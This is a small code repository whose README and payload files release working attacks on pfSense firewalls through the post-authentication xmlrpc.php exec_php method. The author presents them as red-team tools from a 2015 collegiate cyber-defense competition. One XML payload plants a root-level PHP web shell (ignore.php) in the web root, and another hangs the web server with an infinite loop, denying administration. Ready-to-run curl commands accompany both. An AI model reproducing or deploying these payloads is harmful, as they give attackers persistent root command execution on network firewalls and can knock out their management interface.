├── images
└── backdoored.png
├── pfsense_dos
├── pfsense_exec
├── LICENSE
└── README.md
/images/backdoored.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/chadillac/pfsense_xmlrpc_backdoor/HEAD/images/backdoored.png
--------------------------------------------------------------------------------
/pfsense_dos:
--------------------------------------------------------------------------------
1 |
2 |
3 | pfsense.exec_php
4 |
5 | password
6 | exec('while true; do sleep 1; done');
7 |
8 |
9 |
--------------------------------------------------------------------------------
/pfsense_exec:
--------------------------------------------------------------------------------
1 |
2 |
3 | pfsense.exec_php
4 |
5 | password
6 | exec('echo \'<pre> <?php $res = system($_GET["cmd"]); echo $res ?> </pre>\' > /usr/local/www/ignore.php');
7 |
8 |
9 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2015 Chad Seaman
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Quick Introduction
2 |
3 | This is a sample payload and example use of abusing pfSense's xmlrpc.php functions to establish a backdoor
4 | and get root level access to pfSense firewalls.
5 |
6 | This exploit is post-auth (for the admin account) and as it stands is considered a non-issue according to
7 | the pfSense security team, since this password is shared for both the web and ssh services (ssh wasn't WAN
8 | accessible when this was used). This authentication method bypasses security rules that apply to auth attempts
9 | against the web and is treated as a `local_backed` authentication attempt. Any PHP shells that are dropped
10 | to web root will run with full root perms. It is also worth noting the web server appears to be single threaded
11 | so spinning up a long running exec (such as a loop or ping without count) will effectively DoS the web server
12 | and stop web based authentication and administration.
13 |
14 | This was discovered during the 2015 [SECCDC](http://en.wikipedia.org/wiki/Southeastern_Collegiate_Cyber_Defense_Competition)
15 | competition and was used to drop active backdoors on teams firewalls. I am releasing it because I thought it was interesting and could be handy
16 | for other Red Teams.
17 |
18 | ## The XML PHP backdoor payload
19 | This payload can be sent to the pfSense box, it will utilize the `pfsense.exec_php` method to write a very simple
20 | php backdoor named `ignore.php` to the webroot on the firewall.
21 |
22 | ```
23 |
24 |
25 | pfsense.exec_php
26 |
27 | password
28 | exec('echo \'<pre> <?php $res = system($_GET["cmd"]); echo $res ?> </pre>\' > /usr/local/www/ignore.php');
29 |
30 |
31 | ```
32 |
33 | ## Simple usage
34 | Using this payload against the pfSense xmlrpc.php file is a simple HTTP request using curl
35 |
36 | ```
37 | curl --data @pfsense_exec http://10.10.100.1/xmlrpc.php
38 | ```
39 |
40 | ## The backdoor in use at SECCDC
41 | 
42 |
43 | ## The XML DoS
44 | This payload can be sent to the pfSense box, it will lock up the web server so web based authentication and
45 | administration will not function.
46 |
47 | ```
48 |
49 |
50 | pfsense.exec_php
51 |
52 | password
53 | exec('while true; do sleep 1; done');
54 |
55 |
56 | ```
57 |
58 | ## Simple usage
59 | Using this payload against the pfSense xmlrpc.php file is a simple HTTP request using curl
60 |
61 | ```
62 | curl --data @pfsense_dos http://10.10.100.1/xmlrpc.php
63 | ```
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------